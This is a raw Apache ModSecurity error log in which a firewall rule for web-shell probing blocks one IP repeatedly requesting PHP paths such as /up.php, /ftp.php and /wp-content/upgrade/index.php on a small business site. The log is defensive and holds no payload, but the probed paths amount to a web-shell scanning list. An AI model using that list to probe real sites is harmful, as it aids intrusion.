[Sat Dec 13 21:46:34.069520 2025] [:error] [pid 20799:tid 20807] [client 4.194.162.164:41957] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aT1uOqPz3eVRUTzZpOKKNwAAAsY"]
[Sat Dec 13 21:46:35.035278 2025] [:error] [pid 8242:tid 8268] [client 4.194.162.164:41976] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aT1uOyNKA7vSGNUfnOFBJwAAAlQ"]
[Sat Dec 13 21:46:36.387383 2025] [:error] [pid 21342:tid 21368] [client 4.194.162.164:1612] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aT1uPPBL0VVSMIEvqsuKGQAAAxY"]
[Sat Dec 13 21:46:37.550474 2025] [:error] [pid 55071:tid 55089] [client 4.194.162.164:41977] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aT1uPcHSpNduhEZ_mjffSwAAAZA"]
[Sat Dec 13 21:46:38.628045 2025] [:error] [pid 22505:tid 22521] [client 4.194.162.164:1273] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aT1uPjvNI-35hW16TnUk1gAAA44"]
[Sat Dec 13 21:46:39.067119 2025] [:error] [pid 43836:tid 43847] [client 4.194.162.164:54636] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aT1uP2AEOBirsxb11nYHYgAAAMk"]
[Sat Dec 13 21:46:39.719390 2025] [:error] [pid 22505:tid 22531] [client 4.194.162.164:41979] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aT1uPzvNI-35hW16TnUk2gAAA5g"]
[Sat Dec 13 21:46:40.872067 2025] [:error] [pid 39287:tid 39299] [client 4.194.162.164:41954] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aT1uQDBwBW1JRRoCYqaRhAAAAQo"]
[Sat Dec 13 21:46:42.529018 2025] [:error] [pid 21342:tid 21348] [client 4.194.162.164:41973] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aT1uQvBL0VVSMIEvqsuKHwAAAwI"]
[Sat Dec 13 21:46:44.433491 2025] [:error] [pid 8242:tid 8266] [client 4.194.162.164:54595] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aT1uRCNKA7vSGNUfnOFBKgAAAlI"]
[Sat Dec 13 21:46:46.521599 2025] [:error] [pid 23013:tid 23033] [client 4.194.162.164:1240] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aT1uRqs9bDNWPQXUW1aokAAAA9I"]
[Sat Dec 13 21:46:47.531935 2025] [:error] [pid 43747:tid 43756] [client 4.194.162.164:53866] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aT1uR5Yw3twBd_JQEHhDqQAAAAU"]
[Sat Dec 13 21:46:49.364990 2025] [:error] [pid 55071:tid 55095] [client 4.194.162.164:54386] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aT1uScHSpNduhEZ_mjffVgAAAZY"]
[Sat Dec 13 21:46:50.263522 2025] [:error] [pid 21342:tid 21354] [client 4.194.162.164:1217] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aT1uSvBL0VVSMIEvqsuKJAAAAwg"]
[Sat Dec 13 21:46:51.317833 2025] [:error] [pid 39287:tid 39290] [client 4.194.162.164:54361] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aT1uSzBwBW1JRRoCYqaRjAAAAQE"]
[Sat Dec 13 21:46:52.283763 2025] [:error] [pid 22505:tid 22514] [client 4.194.162.164:54606] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aT1uTDvNI-35hW16TnUk4AAAA4c"]
[Sat Dec 13 21:46:52.946338 2025] [:error] [pid 20799:tid 20806] [client 4.194.162.164:21718] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aT1uTKPz3eVRUTzZpOKKRgAAAsU"]
[Sat Dec 13 21:46:53.711537 2025] [:error] [pid 43748:tid 43796] [client 4.194.162.164:53844] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aT1uTarTT0VzE3gYjcC1jQAAAFE"]
[Sat Dec 13 21:46:54.550747 2025] [:error] [pid 21342:tid 21347] [client 4.194.162.164:58379] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aT1uTvBL0VVSMIEvqsuKKQAAAwE"]
[Sat Dec 13 21:46:55.218322 2025] [:error] [pid 55071:tid 55082] [client 4.194.162.164:54354] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aT1uT8HSpNduhEZ_mjffWgAAAYk"]
[Sat Dec 13 21:46:55.764232 2025] [:error] [pid 20799:tid 20819] [client 4.194.162.164:21708] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aT1uT6Pz3eVRUTzZpOKKSQAAAtI"]
[Sat Dec 13 21:46:56.460420 2025] [:error] [pid 43836:tid 43858] [client 4.194.162.164:53825] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aT1uUGAEOBirsxb11nYHcwAAANQ"]
[Sat Dec 13 21:46:57.170297 2025] [:error] [pid 22505:tid 22513] [client 4.194.162.164:54651] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aT1uUTvNI-35hW16TnUk6AAAA4Y"]
[Sat Dec 13 21:46:58.582453 2025] [:error] [pid 43747:tid 43772] [client 4.194.162.164:53850] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aT1uUpYw3twBd_JQEHhDsAAAABU"]
[Sat Dec 13 21:46:59.546284 2025] [:error] [pid 43836:tid 43854] [client 4.194.162.164:53875] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aT1uU2AEOBirsxb11nYHdQAAANA"]
[Sat Dec 13 21:47:00.285316 2025] [:error] [pid 43747:tid 43758] [client 4.194.162.164:53863] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aT1uVJYw3twBd_JQEHhDtQAAAAc"]
[Sat Dec 13 21:47:01.167969 2025] [:error] [pid 43836:tid 43841] [client 4.194.162.164:54364] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aT1uVWAEOBirsxb11nYHdwAAAMM"]
[Sat Dec 13 21:47:01.881648 2025] [:error] [pid 43748:tid 43794] [client 4.194.162.164:54342] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aT1uVarTT0VzE3gYjcC1kAAAAE8"]
[Sat Dec 13 21:47:02.574299 2025] [:error] [pid 43747:tid 43756] [client 4.194.162.164:56337] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aT1uVpYw3twBd_JQEHhDtgAAAAU"]
[Sat Dec 13 21:47:03.899307 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:54623] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aT1uVyNKA7vSGNUfnOFBNQAAAks"]
[Sat Dec 13 21:47:04.589446 2025] [:error] [pid 43748:tid 43800] [client 4.194.162.164:58421] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aT1uWKrTT0VzE3gYjcC1kgAAAFU"]
[Sat Dec 13 21:47:06.437054 2025] [:error] [pid 21342:tid 21362] [client 4.194.162.164:54646] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT1uWvBL0VVSMIEvqsuKLgAAAxA"]
[Sat Dec 13 21:47:07.098669 2025] [:error] [pid 39287:tid 39307] [client 4.194.162.164:54392] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT1uWzBwBW1JRRoCYqaRnwAAARI"]
[Sat Dec 13 21:47:08.136017 2025] [:error] [pid 22505:tid 22508] [client 4.194.162.164:53840] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT1uXDvNI-35hW16TnUk7wAAA4E"]
[Sat Dec 13 21:47:09.023415 2025] [:error] [pid 23013:tid 23020] [client 4.194.162.164:54619] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aT1uXas9bDNWPQXUW1aolgAAA8U"]
[Sat Dec 13 21:47:09.726952 2025] [:error] [pid 55071:tid 55089] [client 4.194.162.164:58374] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aT1uXcHSpNduhEZ_mjffYAAAAZA"]
[Sat Dec 13 21:47:10.488904 2025] [:error] [pid 43836:tid 43850] [client 4.194.162.164:54355] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aT1uXmAEOBirsxb11nYHewAAAMw"]
[Sat Dec 13 21:47:11.634825 2025] [:error] [pid 20799:tid 20812] [client 4.194.162.164:54594] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aT1uX6Pz3eVRUTzZpOKKWQAAAss"]
[Sat Dec 13 21:47:12.526236 2025] [:error] [pid 55071:tid 55097] [client 4.194.162.164:55831] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aT1uYMHSpNduhEZ_mjffYQAAAZg"]
[Sat Dec 13 21:47:17.591243 2025] [:error] [pid 43747:tid 43769] [client 4.194.162.164:54345] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT1uZZYw3twBd_JQEHhDyAAAABI"]
[Sat Dec 13 21:47:18.322380 2025] [:error] [pid 43748:tid 43782] [client 4.194.162.164:58422] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT1uZqrTT0VzE3gYjcC1lQAAAEM"]
[Sat Dec 13 21:47:18.946886 2025] [:error] [pid 21342:tid 21356] [client 4.194.162.164:58425] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT1uZvBL0VVSMIEvqsuKMwAAAwo"]
[Sat Dec 13 21:47:20.162108 2025] [:error] [pid 8242:tid 8250] [client 4.194.162.164:54375] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT1uaCNKA7vSGNUfnOFBOQAAAkI"]
[Sat Dec 13 21:47:20.598918 2025] [:error] [pid 8242:tid 8265] [client 4.194.162.164:21717] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aT1uaCNKA7vSGNUfnOFBOgAAAlE"]
[Sat Dec 13 21:47:21.821726 2025] [:error] [pid 8242:tid 8248] [client 4.194.162.164:53854] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aT1uaSNKA7vSGNUfnOFBPAAAAkA"]
[Sat Dec 13 21:47:23.013891 2025] [:error] [pid 22505:tid 22528] [client 4.194.162.164:1116] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aT1uazvNI-35hW16TnUk9wAAA5U"]
[Sat Dec 13 21:47:23.633791 2025] [:error] [pid 8242:tid 8262] [client 4.194.162.164:55832] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aT1uayNKA7vSGNUfnOFBPgAAAk4"]
[Sat Dec 13 21:47:24.467164 2025] [:error] [pid 22505:tid 22508] [client 4.194.162.164:1122] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aT1ubDvNI-35hW16TnUk-AAAA4E"]
[Sat Dec 13 21:47:25.763904 2025] [:error] [pid 55071:tid 55088] [client 4.194.162.164:21707] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aT1ubcHSpNduhEZ_mjffbgAAAY8"]
[Sat Dec 13 21:47:26.480447 2025] [:error] [pid 55071:tid 55089] [client 4.194.162.164:21731] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aT1ubsHSpNduhEZ_mjffcAAAAZA"]
[Sat Dec 13 21:47:27.170246 2025] [:error] [pid 22505:tid 22520] [client 4.194.162.164:53849] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aT1ubzvNI-35hW16TnUk_AAAA40"]
[Sat Dec 13 21:47:28.030130 2025] [:error] [pid 23013:tid 23027] [client 4.194.162.164:58369] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT1ucKs9bDNWPQXUW1aooQAAA8w"]
[Sat Dec 13 21:47:28.998326 2025] [:error] [pid 21342:tid 21350] [client 4.194.162.164:21728] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT1ucPBL0VVSMIEvqsuKOAAAAwQ"]
[Sat Dec 13 21:47:30.403192 2025] [:error] [pid 21342:tid 21362] [client 4.194.162.164:21705] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT1ucvBL0VVSMIEvqsuKPQAAAxA"]
[Sat Dec 13 21:47:31.066356 2025] [:error] [pid 39287:tid 39301] [client 4.194.162.164:53848] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aT1uczBwBW1JRRoCYqaRpQAAAQw"]
[Sat Dec 13 21:47:33.601000 2025] [:error] [pid 21342:tid 21366] [client 4.194.162.164:54350] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aT1udfBL0VVSMIEvqsuKQAAAAxQ"]
